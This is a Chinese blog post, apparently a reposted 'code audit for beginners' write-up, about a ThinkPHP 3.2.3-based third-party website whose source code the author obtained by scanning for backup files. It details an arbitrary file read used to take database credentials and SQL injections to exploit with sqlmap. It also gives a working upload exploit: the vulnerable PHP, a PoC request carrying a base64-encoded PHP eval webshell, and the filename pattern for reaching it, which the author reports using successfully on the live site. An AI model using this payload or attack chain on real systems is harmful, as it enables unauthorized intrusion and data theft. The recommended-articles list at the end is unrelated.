代码审计入门 之私密小网站(代码私活)
ccwgpt 2024-09-26 08:04 43 浏览 0 评论
欢迎搜索公众号:白帽子左一
每天分享更多黑客技能,工具及体系化视频教程(免费领)
因为自己一直在学习用python编写小工具,然后看到了一些文章关于扫描网站后台备份文件的脚本
我就参照着写了好久的脚本代码,都是低效率代码
然后勉强算是写好了,运行了一下
哎、查看结果还真扫出来了两个包,还是有点用的
好了进入正题:
一、框架分析
解压发现,目录有thinkphp,在tp的基础上进行的二次开发,tp存在的漏洞肯定存在!
(因为一些文件的名字可以找到该模板、所以打码了)
查看一下tp的版本:3.2.3
Tp3.2.3 可能存在缓存漏洞、sql注入漏洞,sql注入暂时放放,缓存漏洞看看有没有。
参考一下:
https://www.bilibili.com/read/cv10345589?from=search
要存在漏洞的话,肯定需要调用tp框架的Cache::set方法,查找全局,看有没有调用。可惜没有调用,那就凉了。
二、网站结构分析
一键开启自动审计!
趁着这个时间大致浏览了一下网站的结构,它没有把全部功能写到controller里面
没有将index.php作为唯一的入口文件,可以访问其他文件进入其他控制器
它采用tp的URL_MODEL=0的模式,index.php对m传参进行清洗
网站如果访问index.php默认访问Home模块的index控制器。
而想进入后台,则要找到入口文件××.php,它的m值为默认Admin、进入admin模块。
所以要进后台,如果××.php没有改变的话,那么访问××.php就可以了。
三、漏洞代码审计
(一)、傻瓜式漏洞
明显的任意文件读取漏洞,而且出错可以报出网站根目录。
这个找到敏感信息便可以读取。
数据库账号密码就来了~
(二)、后台登录sql注入
什么??直接拼接post的值,实锤sql注入,但是不能万能钥匙登录
因为无论如何都要验证加密了的password是否正确,幸运的是这里可以用显错注入
上sqlmap跑一下就可以了。
或者添加一个用户,进入后台搞事情嘻嘻嘻。
这里暂时先不进去,看看前台有什么可以搞的。
(三)、前台sql注入
一堆sql注入,我不一一验证了,各位大佬们肯定能一眼看出来,比如以下:
都没有过滤,而且又没有使用tp的自带函数,那就凉了嘛。
(四)、前台文件上传漏洞
经过不懈的努力,终于找到了一个文件上传的漏洞,这道题有点像ctf,
看来还是要多做点ctf的题呀,多练练思维。
以下为漏洞代码:
/**
* 公共上传图片方法
*/
public function Upload(){
$base64_image_content = I("post.img");
$image_name = I("post.name");
$len = I("post.size");
$baseLen = strlen($base64_image_content);
if($len!=$baseLen) $this->error("上传图片不完整");
if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $base64_image_content, $result)){
$uploadFolder = C('UPLOADPATH').date("Ymd")."/";
if(!is_dir($uploadFolder)){
if(!mkdir($uploadFolder, 0755, true)){
$this->error('创建文件失败');
}
}
$type = $result[2];
if(empty($image_name)){
$new_file = $uploadFolder.date("His")."_".mt_rand(0, 1000).".{$type}";
}else{
$new_file = $uploadFolder.$image_name."_".date("mdHis").".{$type}";
}
$img_64 = base64_decode(str_replace($result[1], '', $base64_image_content));
if (file_put_contents($new_file,$img_64)){
$this->success(complete_url($new_file));
}
}else{
$this->error("图片不存在");
}
}
}
由图可知,代码使用tp框架的函数I() 来获取数据,具有一定的安全性,它的函数实现了html实体转化。
但是呢,这里他使用了base64的编码进行输入,所以<>都可以生效。
接下来看一下满足的条件:
1.Size的post传参和$baseLen数据长度一样,也就是size就是img传参的长度。
2.preg_match('/^(data:\s*image\/(\w+);base64,)/', $base64_image_content, $result)//只要输入的img满足data: image/jpg;base64, 就能匹配出三个结果:
3.是否存在目录。(肯定有的~)
代码往下走就是:$type=$result[2];
也就是说type是文件后缀,那让result[2]=php不就完美了?
于是就有:data: image/php;base64
再接着这段代码:
if(empty($image_name)){
$new_file = $uploadFolder.date("His")."_".mt_rand(0, 1000).".{$type}";
}else{
$new_file = $uploadFolder.$image_name."_".date("mdHis").".{$type}";
}
$img_64 = base64_decode(str_replace($result[1], '', $base64_image_content));
if (file_put_contents($new_file,$img_64)){
$this->success(complete_url($new_file));
}
}else{
$this->error("图片不存在");
}
判断有无name传参,有就拼接目录、时间、和$type。其中type为后缀,那就OK,可以上传php文件。
最后看一下file_put_contents两个参数,$new_file 为写入的目录文件,$img_64为写入的内容。内容要是一句话木马才行。
$img_64是先进行替代操作str_replace($result[1], ‘’, $base64_image_content),再进行base64解码。
所以data: image/jpg;base64,之后的内容是一句话木马的base64的加密内容就行。
具体name的传参无关紧要,而size是要等于img的字符长度,即可触发文件上传漏洞。
总结就是,该漏洞因为太相信上传的img文件类型,而触发文件上传漏洞。
综上可得到poc为:
img=data: image/php;base64,PD9waHAgZXZhbCgkX1JFUVVFU1RbMTJdKTs/Pg==& &name=jpg&size=63
PD9waHAgZXZhbCgkX1JFUVVFU1RbMTJdKTs/Pg==是一句话木马base加密的内容。
其中,要连接一句话木马就要知道时间戳。
本地复现:
上传的文件名是jpg_0430130105.php 文件名不难猜,月日时秒
尝试实操:
url为:http://url/index.php?m=&c=indexAjax&a=upload
poc为:
img=data: image/php;base64,PD9waHAgZXZhbCgkX1JFUVVFU1RbMTJdKTs/Pg==&name=jpg&size=63
上传成功,看看效果:
成功。
菜刀就不连了!
开溜是不可能开溜的,后续我还会再尝试一下这个审计一下,若有其他新奇的漏洞代码,我再上传。
心得体会:
我自己通过学习了大约一星期的tp框架,才入门了这个审计
我觉得、不一定自己要有多懂代码、不一定要非得自己写一个网站
但是框架里面的应用包括内置函数这些一定要懂!
这就像一个手机app一样,基本的操作方法会了之后,你就可以找出这个app有哪些小bug。
但是像大佬一样,审计框架里的内容,那可能还有很远的路要走,一起加油吧!
相关推荐
- 用Deepseek扩写土木工程毕业论文实操指南
-
用Deepseek扩写毕业论文实操指南一、前期准备整理现有论文初稿/提纲列清楚论文核心框架(背景、现状、意义、方法、数据、结论等)梳理好关键文献,明确核心技术路线二、Deepseek扩写核心思路...
- 985学霸亲授,DeepSeek也能绘6大科研图表,5分钟就出图
-
在实验数据处理中,高效可视化是每个科研人的必修课。传统绘图软件操作复杂、耗时费力,而智能工具DeepSeek的出现彻底改变了这一现状。本文将详解如何用DeepSeek一键生成六大科研常用图表,从思维导...
- AI写论文刷屏?大学生正在丢掉的思考力
-
一、宿舍深夜:当论文变成"Ctrl+C+V"凌晨两点的大学宿舍,小王对着电脑屏幕叹气。本该三天前开始写的近代史论文,此刻还一片空白。他熟练打开某AI写作网站,输入"论五四运动的...
- Grok在辅助论文写作上能不能既“聪明”又“可怕”?!
-
AcademicIdeas-学境思源AI初稿写作随着人工智能技术的飞速发展,论文写作这一学术任务正迎来新的助力。2025年2月18日,美国xAI公司推出了备受瞩目的Grok3模型,其创始人埃隆·...
- 大四论文沟通场景!音频转文字难题听脑AI来化解
-
大四学生都知道,写论文时和导师沟通修改意见,简直是“过关斩将”。电话、语音沟通完,想把导师说的修改方向、重点要求记下来,麻烦事儿可不少。手写记不全,用普通录音转文字工具,转完还得自己慢慢找重点,稍不注...
- 论文写作 | 技术路线图怎么画?(提供经典优秀模板参考)
-
技术路线图是一种图表或文字说明,用于描述研究目标、方法和实施计划。它展示了研究的整体框架和步骤,有助于读者理解研究的逻辑和进展。在课题及论文中,技术路线图是常见的一部分,甚至是一个类似心脏一样的中枢器...
- 25年信息系统项目管理师考试第2批论文题目写作建议思路框架
-
25年信息系统项目管理师考试第2批论文题目写作建议思路框架--马军老师
- 微信购物应尽快纳入法律框架(微信购物管辖)
-
符向军近日,甘肃省工商行政管理局发布《2016年上半年信息分析报告》。报告显示,微信网购纠纷迅猛增长,网络购物投诉呈上升趋势。投诉的主要问题有出售的商品质量不过关、消费者通过微信付款后对方不发货、购买...
- 泛珠三角区域网络媒体与腾讯微信签署《战略合作框架协议》
-
新海南客户端、南海网7月14日消息(记者任桐)7月14日上午,参加第四届泛珠三角区域合作网络媒体论坛的区域网络媒体负责人及嘉宾一行到腾讯微信总部座谈交流,并签署《战略合作框架协议》(以下简称《框架协...
- 离线使用、植入微信-看乐心Mambo手环如何打破框架
-
从2014年开始智能手环就成功进入人们的生活,至今已经演变出数据监测、信息推送、心率监测等诸多五花八门的功能,人们选择智能手环并不指望其能够改变身体健康情况,更多的是通过数据来正视自身运动情况和身体健...
- 华专网络:如何零基础制作一个网站出来?
-
#如何零基础制作一个网站出来?#你是不是觉得网站建设很复杂,觉得自己是小白,需求不明确、流程搞不懂、怕被外包公司坑……这些问题我都懂!今天华专网络就用大白话给你捋清楚建站的全流程,让你轻松get网站制...
- WAIC2024丨明日上午9点,不见不散!共同探讨智能社会与全球治理框架
-
大咖云集,硕果闪耀WAIC2024世界人工智能大会智能社会论坛将于7月5日9:00-12:00与你相约直播间WAIC2024上海杨浦同济大学哔哩哔哩多平台同步直播探讨智能社会与全球治理框架WAIC...
- 约基奇:森林狼换来戈贝尔时大家都在嘲笑 他们的阵容框架很不错
-
直播吧5月4日讯西部季后赛半决赛,掘金将迎战森林狼,约基奇赛前接受采访。约基奇说道:“当蒂姆-康纳利(森林狼总经理、前掘金总经理&曾选中约基奇)做了那笔交易(换来戈贝尔)时,每个人都在嘲笑他...
- 视频号带货为什么一个流量都没有?顶级分析框架送给你
-
视频号带货为什么一个流量都没有?遇到问题,一定是步步来分析内容,视频号带货一个流量都没有,用另外一个意思来讲,就可以说是零播放。为什么视频号带货一个流量都没有?跟你说再多,都不如来个分析框架。1、是否...
你 发表评论:
欢迎- 一周热门
- 最近发表
- 标签列表
-
- MVC框架 (46)
- spring框架 (46)
- 框架图 (58)
- flask框架 (53)
- quartz框架 (51)
- abp框架 (47)
- jpa框架 (47)
- laravel框架 (46)
- springmvc框架 (49)
- 分布式事务框架 (65)
- scrapy框架 (56)
- shiro框架 (61)
- 定时任务框架 (56)
- java日志框架 (61)
- JAVA集合框架 (47)
- grpc框架 (55)
- ppt框架 (48)
- 内联框架 (52)
- winform框架 (46)
- gui框架 (44)
- cad怎么画框架 (58)
- ps怎么画框架 (47)
- ssm框架实现登录注册 (49)
- oracle字符串长度 (48)
- oracle提交事务 (47)